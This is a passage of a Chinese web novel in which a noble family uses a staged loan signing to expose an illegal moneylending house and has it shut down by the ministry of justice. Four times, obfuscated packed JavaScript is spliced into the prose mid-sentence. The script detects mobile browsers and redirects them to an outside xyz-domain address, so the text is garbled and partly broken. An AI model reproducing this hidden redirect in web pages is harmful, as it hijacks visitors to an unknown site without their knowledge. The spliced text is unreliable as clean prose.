容芝不答这话，问道，“看来，夫人早就看中这套宅子了吧？” 谢夫人抿唇，点了点头，“秦家七郎是科举入仕，又生得高鼻宽额，命里有才有福。他离京远赴，来日回京必成大事。所以，他家这套宅子被好多人盯着，可惜一直打听不到主人是谁。” 容芝想到神秘的尔惑，连她都确认不了身份的尔惑，旁人更无法获知了。 而她怎么也没想到，尔惑出高价回收的秦家宅子，早就安排好了用处。 对这座宅子，谢夫人是心仪的，她让容芝开价，容芝便推说让她自己开价，只要不低于宅子主人家的心理价位，当即可签署契约。 谢夫人想了想，比出两根手指，“谢岗这些年为官，攒的钱不多，这二千两，原是为小儿子准备的婚娶钱……但谁料到……” 容芝知道她想起小儿子的惨死，顿时悲从心来。 同是母亲，换位思考，如果是游乘、游余出了事，也许自己比谢夫人更控制不住情绪。 “小公子骁勇无惧，为国捐躯，功德无量，西南百姓会永远记得小公子，”容芝走上前，为谢夫人抹去眼泪。 谢夫人闭了闭眼，摆手道，“都已过去，不想也罢，我现在只想为沈越操持好一个家，以防来日，连他也死在西南，成了孤魂野鬼。” 容芝听着，只觉眼眶发酸，泪水断线一般淌下来。 她的性子是怪的，自己也摸不准，有时心硬如石，有时又心软如棉，“夫人给我交了底，我便替主人家作个主，再让您五百两吧。一千五百两，您可愿意？” “满意的，很满意！”谢夫人一把握住容芝的手，一叠声地道谢。 容芝从谢府出来，将签字盖印的买卖契约收好，正要上马车，谢府管家从后叫住了她。 管家伯满脸皱纹，递给容芝一封书信，说是沈越写给游家三郎的信，“早三天就写好了。我家小舅爷听说，三郎有意将孩子送去西南，暗自赞许过许多回，但两家长辈是朝中重臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149062|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不可私交。” 容芝听出话中之意，“难道，沈将军今日在府上？” 管家点头，“小舅爷就在侧厅，一门之隔。他甚是感激您帮我家夫人解决心头大事，所以，特命我将此信转交给您。也请您和三郎放心，游家三哥儿游编，小舅爷他收下了，不日就带编哥儿一起，去西南前线。” 容芝笑了笑，“可是我家编哥儿的身子不壮，脑子也有点不灵光。” 管家说，“这些事儿，小舅爷早听说了，但他认为，剿匪要的不是脑子灵光，也不是强壮的身子，是一颗赤诚勇敢的心。” “沈将军要的是勇敢的心？那咱们编哥儿不缺，孩子勇敢着呢。得嘞！有劳你传话，一点心意请收下，”容芝塞给谢家管家一块银子，转身上马车。 此一趟，收获颇丰。 容芝离开谢府，先回家去三房的西园，把好消息带给三弟妹李氏。 这两日，三弟妹因为游编的事，伤神病倒，三郎游怜钊公事繁忙，也顾不上太多。 丫鬟中只有阿雪懂得李氏的脾性，却也只能苦口婆心地劝李氏乖乖喝药，乖乖吃饭，没别的法子，深知能医好李氏的，唯有兵部尚书谢家的好消息。 “大夫人没骗奴，这封信真是沈将军写给三爷的？”阿雪睁大明亮的眼睛，不敢置信似的。 阿桔笑道，“不信的话，自己拿去给三夫人瞧瞧！” 李氏正在咳嗽，听见容芝进屋，忙起身相迎。 容芝握住她瘦弱的手腕，与她一起坐在床沿，阿雪把信递上，李氏一看封面那笔铁画银钩的字迹，登时又忍不住哭出了声。 “快拆开看看！”容芝笑着催她。 李氏摇摇头，紧紧把信捂在心口，“我相信大嫂，不用看了。大嫂对编哥儿的大恩大德，李襄此生牢记于心……” 容芝见不得李氏哭，李氏一哭，她也很想哭。 她帮李氏擦着眼泪，却没能忍住自己的眼泪，“为人父母，只要孩子好，我们付出什么，受什么苦，都行。” 李氏抬头看着容芝，嘴唇颤抖，“……虽不知大嫂如何促成此事，可李襄以为，正因这府上有了大嫂，大家的日子才有盼头，李襄的日子才有盼头。” 容芝泪中带笑，“过了过了！其实沈将军同意带编哥儿走，少不了三弟的功劳。如果三弟没想送编哥儿去西南剿匪，此事成不了。” 李氏沉思片刻，忽而长叹，“送走编哥儿，确实是三郎的心愿。那孩子真要走了，我心里再舍不得，也是支持三郎的。” 儿女离家，是早晚的事。 这一晚，容芝在里屋等到了回家的游怜山，明日轮到休沐，夫妻俩坐在烛台下聊到将来，游乘、游余科举及第之后的安排。 想起三房的游编，谢家的小儿子和小舅爷沈越，还有秦家七郎秦均。 容芝对游怜山说，“我知道不可勉强，但我仍希望孩子们都在我眼前，别离我太远，让我可以照顾他们的衣食住行。” 游怜山看着她，只是说，“这些事，由不得你，由不得我，更由不得他们自己。时局每天在变，也可能，龙椅上坐的人，也要变！” 容芝想到原著中的皇权迭代，就在这两年，“你听说了什么？可是皇帝身子不好？” 游怜山说，“最近宫中有些闲言闲语，所以，太子炎准将在下月大婚，娶的是户部尚书司家的五姑娘。” 容芝不禁大喜，“这么说，往后司家也是太子党？是咱们的同盟？” 此话不可乱讲，在自家也要谨慎。 游怜山捂住容芝的嘴，“咱们自己知道就好，别说了，别说了。” 容芝拨开他的手，压低声线，“不论别的，太子与户部尚书结亲，放鹤楼的印子钱案，有望查办了。” 正说着话，屋外有人敲门，“爹，娘。” 42. 钓鱼执法（1） 今日，游乘带着游余去过千家胡同，依照齐橡给的名单和住址，登门联系向放鹤楼借贷的人。 他们和齐橡一样，手上有放鹤楼写的借据，可是，前日一群追债彪汉找到他们，答应抹清他们的欠债，唯一要求是，他们必须以借据交换。 如今，借据全部被销毁了。 游乘懊悔自己行动慢了一步，让放鹤楼的东家周儒逃脱，“不过，弟弟有个建议。只要他们的营生还在，我们大可以假扮借贷人，和他们再签一张借据。” 对此，游怜山甚为认可，但行此事就好比羊入虎口。若是由面熟的人来假扮，一旦被放鹤楼的人认出，立刻就会被灭口，甚至被活埋。之前死里逃生的齐橡便是例子。 容芝看看大家，慎重道，“你们几个都是熟面孔，不如，让我去会会那帮人！” “不可！”她话音刚落，剩余几人异口同声道。 其中游余最是激动，他紧紧抱住容芝，“让娘去冒险，是儿子的不孝，万万不可。” 游怜山也劝容芝，“余哥儿讲的对，你这……也没过过苦日子，演起来都没有说服力。” 这是很现实的问题，人难以掩饰自己骨子里的气质，何况，那放鹤楼的人见多了真正的穷人，便是一眼就能看出容芝是假冒。 容芝摊手，“那该怎么办？此事早一点了结，才能多救一个苦命人，一个苦命家，不可再拖了。” 游怜山握住她的手，“咱们好好盘算一下，身边有谁比较合适去做此事，乘哥儿，余哥儿，你俩也仔细想想。” 一时间屋子里变得安静。 这时，阿桔从门外进来，给游怜山福礼，“若大爷信任我，我愿意一试。” 游怜山看看她，却喊了声“夫人”，“你舍得让阿桔去吗？” 容芝上来扶起阿桔，“你有孕在身，就别跟着胡闹了，否则，我要对不起虞次兄弟的。” 阿桔的喜脉是四个月前查出来的，自那时起，容芝已告知整个东园，需处处照顾和帮扶阿桔，不能让阿桔操劳。 见阿桔垂眸，容芝抬手推了推游余。 那孩子领悟了，机灵地在阿桔脸上亲了口，“好姑姑，我等着做舅爷啊，你可得照顾好我小外甥！来来来，我扶你回屋休息去。” 送走了阿桔，该让谁假扮去借贷，仍是难题。 忽而，游乘看向容芝，“儿子想到一个人，既了解缺钱的感受，也是生面孔。” 容芝问：“谁？” 游乘道：“秦九妹妹，秦徐。” 闻言，容芝和游怜山交换一眼，“你这不是，让无辜的人跳火坑吗？亏得我还以为，你心里是钟意秦徐娘子的。” 游怜山倒是没说话。 容芝推他的手，“你是当爹的，你也说说？” 游怜山尴尬地笑了笑，“如果我说，我觉得秦九娘是眼下最合适的人选，你会不会认为我绝情？” “我……”容芝看看游怜山，又看看游乘，自我为难地叹气，“我一个人反对也无用！你们选中了秦徐，必须保证她的安全，还有，别指望我去帮你们说服她。” 游怜山摇头，“这可不好！你临阵脱逃，我也不能出面去见秦九娘，那，只能让乘哥儿去找九姑娘了。” 游乘交握双手，沉着道，“由儿子去求九妹妹，也行，但儿子可以为她提供什么呢？现在我只是个秀才，好像，没什么拿得出手的条件，能与九妹妹谈判。” 在这件事上，容芝有经验，替他出了主意，“条件都是谈出来的，你别急，先见见秦九娘，听听她有什么难处。若你能帮上她，大家各取所需，也未尝不可。” 有母亲的支持，游乘回南屋写了封信，让虞次叔帮忙送去秦家。可是没过半个时辰，虞次回来，说信被门房拦了，原来，秦夫人早就有命，凡是游家人的信，一律不收。 送信，送不到，游余建议去秦徐常去的地方堵人。游乘不同意，认为此举非常冒昧，他自己是男子，无所谓名声，只担心对秦徐的名声不好。 这也不行，那也不行，游余躺在椅背上，自嘲道，“哥，是咱们有求于九姐姐，总不能还要等着九姐姐自己来找哥哥吧？” 无巧不成书，事情就这么赶巧了。 兄弟二人正愁怎么联系秦徐，门房跑来送口信，书局的老周掌柜请游乘过去一趟。 游乘担心齐橡又出了事，赶忙带游余去书局。 刚下了马车，游余拍拍游乘的胳膊，“哥，你看这是不是秦家的马车？” 那车头挂有秦字的灯笼，怎会不是秦家。 游乘只是好奇，秦家一面闭门不见，一面又跑来书局找他，存了怎样的心思。 “九姐姐？” 游余三两步冲上二楼雅间，推门就看窗前站着的是秦徐。 她回过头，一双秀眉凝成了一对疙瘩，“彦维，你哥没来么？” 游乘慢了半步进门，一听这话，心里更加疑惑秦徐有何事是必须和他商量的。 三人在桌边分坐两边。 游乘给游余个眼色，让他挨着秦徐，方便添茶，劝导。游余乖巧地坐在秦徐身边，这才打开话匣子，问她究竟遇上什么难事。 见秦徐犹犹豫豫，半晌无法开口，游乘借口找老周掌柜有点事，下一楼向老周询问秦家的情况。 老周提起秦家，不由叹息，说自从两年前，工部尚书秦舒因河工闹衙门，被罚一年俸，还迫于形势，捐出五千两银子用于湖西道修河，这秦家的日子一直过得很紧巴，就连纸墨这种日常消耗品都缩减了，每月一次采买变成半年一次采买。 再说今日，秦九娘亲自来书局挑纸墨，这事儿就透着不对劲。 老周给她算好了账，以为她想赊账，她却摆手，说自己带够了钱，又悄悄地问，这间书局每月营收多少？ “九姑娘是外人，忽然关心不足斋的营收问题，那还能是因为什么？”老周看向游乘。 游乘也看老周，“您倒是说清楚呢！因为什么？” 游余听笑了，勾住游乘的脖颈，“哥是真不懂，还是装不懂？九姐姐啊，打算嫁进咱家了。” 游乘敲他的脑门，“不可胡说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158955|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老周笑道：“回大公子，反正我听也是这猜测。” 游乘垂眸，片刻摇头，“不可能。” 老周说，“那您亲自问问九姑娘？” 游乘犯了难。 怪不得刚才在二楼，秦徐欲言又止，原来她心里藏着话，可是，他怎么好意思当面问她，万一猜错了该多尴尬。更别提，他还有求于她，要带她去千家胡同做戏。 “哥开不了口，我来帮哥哥问！” 游余一马当先，噔噔噔跑上二楼。 等游乘追上他的时候，听见游余说，“九姐姐是不是喜欢——” 老周掌柜端着奶酥来招待。 游乘眼明手快，抓起一块塞进游余嘴里，没让他说完最后几个关键字，“九妹妹在打听书局的生意，是想自己也开一家么？” 秦舒听言，眉眼间的阴云顿时散了。 一朵浅笑在她的腮上绽开，她对游乘点头，道，“介舟怎么知道我心里的想法？” 一旁，老周和游余面面相觑，游余吐吐舌头，大概很庆幸自己没乱讲话。 游乘同样松了口气，对秦徐说，“前年一口气花掉五千两，秦家是否短缺银子？” 秦徐摆手，“日常用度尚可以应付，但我母亲总当着父亲的面，嫌家中的饭菜太清淡，闹得父亲脸面无光，好几次差点和母亲吵嘴……” 事情说开，游乘让老周掌柜拿来账本，详细介绍书局的每月每年营收。秦徐听说，书局每月可赚二百两纯利，到乡试的八月前后更是能达到五百两，面上流露出的羡慕之意，看在了游乘眼底。 京城官吏的年俸，按官品分成三六九等，但就算工部尚书秦舒，正三品官员的年俸，也不到五百两。 老周掌柜说，“九娘子若心动，想开一间，也不难办。大夫人前日说起了，下半年想再开一间分店，正在寻找铺面。等分店开起来，要请掌柜，如果九娘子加盟，就再好不过了。大公子，二公子，你们说是不是？” 游余重重点头，“姐姐执掌分店，便是一家人！” 游乘性子不如游余开朗，这时也连声赞同，“九妹妹自己怎么想？愿不愿屈尊，帮一帮我母亲？” 秦徐攥紧了手上的帕子，“我愿意。” 游乘与游余相视一笑，兄弟俩心里在想另一件事。 有关分店之事，游乘当即写了信送回家报母亲。秦徐想回家了，他把秦徐定的纸墨送上马车，站在马车边叫住了她。 “其实，我也有一事要与九妹妹商量。” 秦徐瞧着他，诧异道，“介舟请说。” 游乘又犯难，支吾道，“那件事，挺麻烦你的。” 秦徐大约被他逗乐，不由一笑，“我还是头次见介舟如此扭捏！行了吧，今天你帮了我大忙，就是让我上刀山下火海，我也绝不说个不字！” “没有刀山，也没有火海，我想请你演一出戏，”游乘正色道。 许是他过于正经，秦徐反倒面露担忧，“介舟要我怎么做？” 游乘沉声道，“介舟斗胆，请九妹妹帮借一千两印子钱。” 43. 刑部查封 既是假意借钱，秦徐心里多少是有些忐忑的。 游乘见她放在膝盖上的双手在抖，不禁道，“若太害怕，便不去了。” 秦徐咬咬牙，“不，我要去！就当训练自己胆量，日后我把书局开起来，碰到的麻烦更多，更难解决。” 此言在理，游乘又看了她一阵，“这么一想，九妹妹和彦维的性子真像，你俩遇上事情，永远不会退缩，永远勇往直前。” 秦徐缓缓抬起头，似乎听出他话中的低落，“介舟最近，好像变了个人……是因为刘子应么？” 游乘闻言笑了笑，“原来逃不过九妹妹的眼睛。自从乡试前，子应生病被带回刘家，我已经快半月不见他了，不知他的病好了没好，也不知他在家闷不闷。” 对他二人的情谊，秦徐早有耳闻。 据说十多年前，游乘刚去袁家拜师求学，刘子应就对游乘照顾百般。 可是如今，游乘为了帮她和刘子应，得罪了秦家和刘家的长辈，再也见不到刘子应。 想到此，秦徐由衷歉意，“介舟帮我至今，我还没正式谢过你。不如，让我帮你和刘子应见一面？” 游乘惊讶，“你有什么办法？” 秦徐神秘地眨眨眼，“介舟，你等我的好消息。” 说话间，马车到了千家胡同外的街口。 游乘跟在秦徐身后，为确保万无一失，他今日也装扮了一番，扮成秦家小厮，陪秦徐走这一遭。 走进放鹤楼，秦徐的眼睛忍不住往四下乱飘，这是她第一次踏进此处，处处于她而言，皆是新鲜好奇的。而游乘便在人群中打量那些穿黑衣衫的彪形大汉。 没一会，就有两个大汉与游乘看对眼，围上来。 大汉靠近时，秦徐不自觉往游乘身边退。 这是相当危险的举动，游乘小声对秦徐提醒，“镇定些，有我在。” 秦徐亦是压低声音，应道：“我懂。” 再一眨眼，大汉已到二人跟前，面露笑意，对秦徐道：“娘子可是秦家的？” 秦徐被人识破身份，稍微稳稳神，“你好眼力。” 许是被她的冷静所震慑，那大汉反倒客气起来，恭敬拱手，“秦家娘子来放鹤楼，有何贵干？” 秦徐故意笑道，“还能做什么？总不至于是和那些男人一样，假模假式地听戏吧！我来借钱。” 言尽于此，大汉便给秦徐做个请，领她往二楼去。 游乘依旧跟着秦徐，一副唯唯诺诺的小厮模样，并未引起其他人的瞩目，直到从他身上掉出一块刻有游字样的玉牌。 彼时几人已经进到一间房，正中央的桌案上摆着笔墨纸砚，颇有几分书香意味，想来此地就是放鹤楼拟定放贷借据的场地。 可是从游乘身上掉下的玉牌，被人捡起来，一眼就认出是司宁侯府游家的物件。 “你是游家人？”大汉疑道。 游乘正要开口解释，却见秦徐抬手给了他一巴掌。 秦徐厉声骂道，“吃里爬外的东西！你可忘了自己是秦家的奴？怎么？你把我的行踪出卖给那个游介舟，他一会要来堵我？” 游乘当即给秦徐跪下，“九姑娘饶命！是小的错了……不该忘恩负义，不该见钱眼开。” 秦徐不耐烦地一甩帕子，“我懒得与你废话！今日回了家，自己拿银子，走人吧！反正我秦家如今落寞了，也请不起太多下人。你，起来。” 游乘站起身，见秦徐一把从那大汉的手上夺来他的玉牌，砸在地上，四分五裂。 那大汉忍不住嘶了声，“这么好的玉，可惜了。” 又戏谑地看着秦徐，笑着问，“听九娘子的意思，游家大公子心悦于你？” 秦徐脸颊飞红，却摇了摇头，“他是他，我是我，他是科举大才，前途无量，可他用钱打点我的身边人，压根不在意我被人议论。这份令人压抑的爱慕，不要也罢！” 大汉了然地拱手，“九娘子性子爽快，叫某佩服。您请坐，且说一说具体想借多少？” 秦徐看着对方，冷静道，“一千两。” 坐在他对面的大汉登时愣住，而后起身，进了里间，似乎是向谁回禀。 游乘转头望去，这才留意到旁边一扇小窗，微微抬高，露出一角碧色的罗裙，定是这放鹤楼的幕后东家周儒了。 正仔细瞧着，秦徐扯了扯他的袖子。 “摔了介舟的玉，对不起。” “九妹妹不必如此，事发紧急，折一块玉，能保住今日的计划，是值当的。” “你懂就行，反正你想让我赔你，我也没钱。” “不会让你赔。” “说好了啊？” “说好了。” 这时，里间的门打开。 大汉走回来，拱礼道，“东家说，既然姑娘是代表秦家来借钱，咱们自当竭尽所能满足。” 话音刚落，响起一声关窗的响动。 游乘又一转头，刚才开着的小窗已经合拢，一些女子行走的环佩叮当声传来，渐渐消失。 “你们东家走了？”秦徐问。 大汉不答，只让她稍等，拿起一旁的墨条研磨起来，他对近旁的另一个人说，“明叔告假了？” 那人道，“他家里有喜，昨夜走了，后日才回。” 大汉顿时傻眼，“那谁来写借据？你识字吗？” 那人直摇头，“你让东家走，我以为你会呢。” 大汉斜他一眼，“我认字儿，还在这干这勾当？傻不傻你！” 那人也上了头，捏着指节，骂道，“你不傻，你倒是写呀？” “我……” 大汉胸口起伏，对那人说，“要不，去外面随便抓个书生进来写？” 那人立刻否决，“咱这事儿，能让外人知道？” 大汉急了，扔下墨条，“那你说怎么办？” 看他二人束手无策，游乘与秦徐对望一眼，瞬间有了默契。 秦徐清清嗓子，打断道，“你们商量好了吗？我这还等着用钱呢，快点行不行？” 大汉瞧了一眼秦徐，“一时找不到写借据的人，不知九娘子能否代笔。” 秦徐故作惊讶，“你们就这么信我，不怕我捣鼓点什么，害你们？” 大汉笑道，“姑娘是工部尚书府的，所言所行，皆代表着秦尚书，岂会随意骗人？” 秦徐努努嘴，认同道，“你倒是懂道理，若你真愿意信我，由我自己来写借据，也行。” 说完她拿起桌上的笔和白纸，听大汉口述，一字一字写下来。 游乘在旁看着她写，心里直夸这姑娘聪慧，表面看，她写的借据十分严谨，但每一个字都故意漏掉一笔，通篇错误，却能骗住不识字的大汉。 等写完，秦徐不急于交给大汉，起来仔细端详，才发觉这份借据并未提及月利息。 她便问那大汉，“为何不写明月利息？” “这是东家的意思。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163890|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“就不怕我故意耍赖，不还利息？” 大汉迟疑，看了看身旁的同伙。 同伙上来拱礼，“我们相信九姑娘的人品。” 秦徐却笑道，“相不相信是一回事，借据严谨，是对你们自己的保障，对放鹤楼的保障。别等到时，无凭无据，不好对峙，是不是？” 大汉与同伙互相沉默，好一阵，大汉才拿定主意，“九姑娘替我们考虑，真是独具慧心。便再请姑娘，另外写一份新的，要标明利息。” 秦徐再拿过纸和笔，写之前确认道，“月利息几分？” “一钱五。” “……多少？！” 毛笔跌在纸上，秦徐惊诧不已，“这么贵。” 大汉道，“世道不好，放鹤楼的兄弟这么多，大家都指着这营生吃饭糊口。如果姑娘接受不了，也不勉强。这笔生意不做了吧。” 秦徐尴尬笑道，“还是要借的，我说了嘛，家里等钱用，多贵的利息，我也得借。” 这第二次写成的借据，数额具体，字字工整，加盖了放鹤楼的印章，和东家周儒的私章，将来就是状告放鹤楼，违规生意的呈堂证供。 从放鹤楼出来，秦徐将借来的一千两银票交给游乘，却被他退了回来。 眼下秦家日子艰难，这一千两，且算作是他代表母亲借给秦家的。放鹤楼倒塌是迟早的事，放出去的印子钱，不受律法保护，一个子儿都收不回来的。 秦徐听他这样说，仍不愿收银票。 她嫌放鹤楼的钱太脏，如果游乘执意要借钱给她，也得是干干净净的钱。 再则，朋友之间用银票来计算，不妥当。 游乘说，“可我还有求于你，要等你从刘府带出子应。” 秦徐摆手，“那也不是！刘子应见不到你，怕也正挠心挠肺。让你俩见了面，你心情好些，脸上多些笑容，日后我见了你，心情也会好的。总归，此事于我自己，大有裨益，我是乐意帮你的。” 时辰不早，二人回到书局，稍微喝些水，游乘请虞次叔送秦徐回家。 游余跑上去，递给秦徐两盒新买的奶酥，送道，“姐姐慢走。” 秦徐捧着吃食，抿唇一笑，躲进放下的布帘里。 等马车行远，游乘回神，叫上游余，抓紧赶去礼部衙门，将得到的宝贵借据，和一千两银票，转交给父亲游怜山。 一夜之间，印子钱借据和银票，几经周折，终于到了刑部尚书袁至诚的手里。 京城最贵的珠宝铺，喜珠的侧厅。 游怜山和袁至诚、户部尚书司属，见了面，问二位阁臣，有几成把握可以扳倒放鹤楼。 司属捋着胡须，“一个放鹤楼，查了它，它就倒。关键是它背后的周儒，牵连着李三公子李谨……此次，需不需要一并查处？” 袁至诚想了想，“现在动李谨，不值当。李谨身上的事儿，多着，不能太便宜他！都说，他李经章最疼李谨，那必须让李经章尝尝，被亲生儿子抽筋拔骨的滋味。” 这些交谈在暗中进行。 游怜山只能听，不能插嘴，他回家向妻儿透露事情的走向，游乘听完很平静，游余大呼可惜，但也表示理解大局。 于是次日，赫赫有名的胡同戏院，放鹤楼，被刑部查封了，东家周儒被扣着木枷游街，身上满是烂菜叶，臭鸡蛋。 街坊邻里见了无不欢心雀跃，各家长辈趁机教导那些借过印子钱的人，皆说，官府为民除害，大快人心！ 44. 秦九娘被算计 九月初三，乡试放榜前两天。 京城秋后渐冷，清雨斜入屋檐，凭添离人愁绪。 清早，长房东园的门被阿雪敲开，说老侯爷今日休沐，请长房过正院一趟。 游怜山已经前往礼部衙门，容芝原想一人前往，长子游乘担心母亲招架不住祖父，执意陪她一起。 穿过花厅时，游乘问母亲是否知道，三弟游编何时前往西南。 容芝想起那日带信给三房，她只知游编会去，并不知具体在哪天，便说：“西南形势紧张，不可能逗留太久，估摸着就这两日。” 游乘笑道，“想来奇怪，三伯和三伯母舍得送三弟走，我这做哥哥的，却甚是难受……” 容芝瞧着他面露忧伤，心也跟着一沉，“其实你难过的，不是三弟要走，是想起了刘子应，对吗？” 游乘嘴角牵动，“不提也罢了。” 话头就此打住，母子二人已来到正院门前。 贞嬷嬷接引时，轻声宽慰容芝，“别紧张，老侯爷今日心情还不错，叫您来一起用早膳罢了。” 容芝万没想到这一茬，忙问道，“被请来的，还有谁？” 正说着话，正堂里传来一声响亮的大伯母。 紧接着，三房的游编哒哒哒冲过来，一把抱紧容芝，又对游乘喊了声大哥。 这孩子，近年来性子愈发开朗，其中少不得赵决先生的指引。听阿雪说，前日老侯爷当着三房夫妻的面，大为赞许赵决教导有方，赏给赵决五百两银子，和一套御赐的文房四宝，说以后游编不在京城，赵决仍可自由出入司宁侯府，仍是侯府的西席先生。 想当初，赵决被请来教习三房游编，老侯爷是不愿意的，因为此事，还让游编的外祖父李经章心不痛快，可如今赵决不负众望，完成所托，也算功德圆满，打了那些看不上他的人脸。 容芝和游乘走进正堂，才知二房周氏和三房李氏都在。她担心游乘见不得周氏，回头确认他的脸色，“哥儿行吗？” 游乘平静地说，“她都行，我为何不行。” 他上前给祖父祖母问安，给三房李氏行礼，然后来到二房周氏跟前，淡然地问候一声，“二伯母。” 周氏顿时站起身，脸色泛白称不上好，“乘哥儿来了。”说着拉起身旁的女儿游宜，让她叫大哥。 “大哥。” 十三年过去，二房姑娘游宜出落得亭亭玉立，这些年她被父亲养在庄子上，少染尘埃，性情清冷，虽模样上与周氏有七八分相似，但细细一看，哪哪都不像。 游乘弯唇微笑，对大妹游宜的态度温和得多，只是目光掠过周氏时，依旧冷漠如冰。 长房母子落座，紧挨着公爹游仁泰和婆母邓氏。 上首的游仁泰若有所思，问二哥儿游余怎么没来，容芝没好意思说游余还没起，扯谎说，他在房中看书。 游仁泰仰头一笑，“再过两日便是乡试放榜，我等着他和乘哥儿的好消息。” 游乘立刻起身，行礼道，“多谢祖父厚望，孙儿定将这份关怀转达弟弟，以勉励他加倍努力。” 游仁泰眼眯成一条缝，对游乘徐徐点了头。 邓氏便说，“饭都凉了，让孩子们先吃吧。” 席间不可言语，故而显得安静。 唯有游仁泰偶尔眼含泪意，提起话头，说没想到日子过得这么快，连游编都要离家了。 不过前往西南剿匪，是挑战，更是机遇。 游仁泰是三品朝臣，自是懂得孰轻孰重，他让管家郑伯去书房取来一柄短刃，送给远行的游编。 邓氏认出这短刃，是游仁泰升任大理寺卿时，得到的御赐之礼，便笑着问游仁泰，“如何？你可不能偏薄，只送三房礼物，不送其他几房孩子。” 是打算趁着游仁泰心情好，要痛宰他一顿了。 一顿早膳后，各房孩子都欢喜地捧着礼物离去。 游仁泰站在正堂屋檐下，长叹，对邓氏说，“此次三房游编得到西南锻炼机会，咱们家是高兴了，却让三房亲家李经章……不高兴了。” 邓氏冷笑一声，“今时不同往日！他李经章从前再狂妄，现在是连一个放鹤楼都保不住的。再者说，大郎二郎三郎在朝中站稳脚跟，往后，侯爷在李经章面前，不必处处卑微，觉得低他一头。” 游仁泰仍长叹，“有些事不是你想的那么简单。” 邓氏听言，面露疑惑，“侯爷此话何意？难道，有把柄在李经章手里？” 游仁泰没说下去，皱眉走进了书房。 与此同时，内阁首辅李家一大早气氛就不愉悦。 饭桌上，李经章几乎没动筷子，李夫人小心翼翼地问是否不合胃口，李经章捂着额没有回话。 李夫人被甩了冷脸，没了胃口，指着一旁的碗筷和空位，问三媳妇，“谨儿昨夜又宿醉了？” 三媳妇怯生生起身，直接跪在李夫人脚边，“回母亲的话，媳妇儿不知……” 李夫人的筷子砸在桌上，“你怎么做正妻的？自个男人回没回家，也不知道？既然如此，你别做正妻了吧，把位置空出来，让给更合适的人！” 三媳妇哭着求道，“母亲息怒，媳妇这就出门找三爷，定把他找回来，给父亲母亲赔罪。” 说罢，爬起来低头跑了出去。 李经章这才抬起头，冷道，“她怀着孩子，你再生气，别拿她撒气啊！再有，谨儿因何不回家，你不清楚吗？” 李夫人胸口起伏，闷声道，“最近的烦心事接二连三，也不怪谨儿不愿回家，换做是我也不想回。老爷，放鹤楼怎么就没保住？” 李经章看了她一眼，“我早就说过，这太显眼的篓子不能捅……谨儿不听我的，你也不听我的，说帮他找个什么义妹来管事，就算被揭露，也赖不到他头上。” 李夫人嗯了声，“我说的没错吧？前日刑部查封放鹤楼，只带走周儒，咱谨儿就没事啊！” “你懂个屁！！” 李经章连连捶打额角，“刑部的袁至诚带走周儒，让她带枷游街，谁又不知道周儒是谨儿的义妹？袁至诚这是在警告我，如果李谨再不收敛，下一个被带走的，就是李谨。” 李夫人面色大白，半晌才讷讷道，“袁至诚那老狐狸！那依老爷之见，谨儿日后必须老老实实？” 李经章缓缓摇头，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170443|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的儿子是什么德性，做父母的心知肚明，李谨不是本分守己之人，这一局该怎么破，李经章被这问题困扰好久。 放鹤楼出事之后，李谨一直没露面，恐怕也是知道回家必然被骂，才不敢回家的。 “多派些人去找谨儿，他不能一辈子避着我，除非，他就想憋屈地活着，”李经章吩咐管家。 管家退出正堂。 这时，外头跑来个门房小厮说，“三爷回家了。” 李夫人想迎上去，被李经章一把扯住。 李经章说，“他长了腿，让他自己走进来。” 管家扶着李谨到李经章面前，浑身酒气，满脸醉意的李谨根本站不稳，却还要给李经章行礼，被李经章一脚踹开了去。 李夫人急了，忙去拉儿子。 李经章呵斥她，“他混成这样，都是被你惯的！” 李夫人这下忍不了了，回怼道，“你没惯？我的大郎二郎幼时夭折，是因为谁啊？家里现在就这一个儿子，将来，连这个家都是他的，我惯他怎么呢！” 陈年伤心事被提及，李夫人直抹眼泪，李经章的眼眶也湿润了，他看李夫人和三子李谨，“行了，事到如今，我还有什么认不清？” 